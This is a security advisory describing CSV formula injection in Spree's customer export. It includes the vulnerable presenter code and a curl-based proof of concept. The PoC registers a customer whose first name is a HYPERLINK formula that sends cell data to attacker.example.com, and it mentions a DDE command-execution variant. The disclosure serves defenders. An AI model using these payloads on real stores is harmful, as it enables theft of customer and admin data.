Spree: CSV Formula Injection in Customer Export

Summary

### Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).

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### Details

#### Affected presenters and fields

| Presenter | Path | User-controlled fields | |---|---|---| | `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |

#### Vulnerable code — `customer_presenter.rb` (representative example)

```ruby # spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53 def call csv = [ customer.first_name, # ← written verbatim; may contain =HYPERLINK(...) customer.last_name, # ← user-controlled customer.email, customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no), customer.address&.company, # ← user-controlled customer.address&.address1, # ← user-controlled customer.address&.address2, # ← user-controlled customer.address&.city, # ← user-controlled customer.address&.state_text, customer.address&.state_abbr, customer.address&.country&.name, customer.address&.country&.iso, customer.address&.zipcode, customer.phone, # ← user-controlled customer.amount_spent_in(Spree::Store.current.default_currency), customer.completed_orders.count, ] csv += metafields_for_csv(customer) csv end ```

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### PoC

**Precondition**: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

#### Step 1 — Register as a customer with an injected first name

```bash curl -X POST https://store.example.com/api/v3/store/customers \ -H "Content-Type: application/json" \ -H "X-Spree-Api-Key: pk_<publishable_api_key>" \ -d '{ "email": "attacker@evil.com", "password": "password123", "password_confirmation": "password123", "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")", "last_name": "Smith" }' ```

#### Step 2 — Admin triggers a customer export

```bash curl -X POST https://store.example.com/api/v3/admin/exports \ -H "Authorization: Bearer <admin_jwt>" \ -H "Content-Type: application/json" \ -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}' ```

#### Step 3 — Admin polls until ready, then downloads

```bash # Poll for completion curl https://store.example.com/api/v3/admin/exports/<export_id> \ -H "Authorization: Bearer <admin_jwt>"

# Download curl https://store.example.com/api/v3/admin/exports/<export_id>/download \ -H "Authorization: Bearer <admin_jwt>" \ -o customers.csv ```

#### Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open `customers.csv` in a text editor. The first data row will contain:

``` "=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",... ```

#### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows)

- Excel warns about external data connections; if the administrator clicks **Enable**, the `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=<B1_value>`. - Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain email, address, and order total data for all exported customers. - With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

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### Impact

**Vulnerability class**: CSV / Formula Injection (CWE-1236)

#### Who is impacted

- **Administrators** who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

#### Realistic attack chain

| Step | Actor | Action | Privilege required | |---|---|---|---| | 1 | Attacker | Registers as customer | Public registration | | 2 | Attacker | Sets `first_name` to formula payload | None beyond registration | | 3 | Admin | Runs a routine weekly/monthly export | Normal operational task | | 4 | Admin | Opens CSV in Excel | None | | 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |

#### Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

- All exported customer emails, names, addresses, phone numbers - Order totals and purchase history - Any other columns in the same export file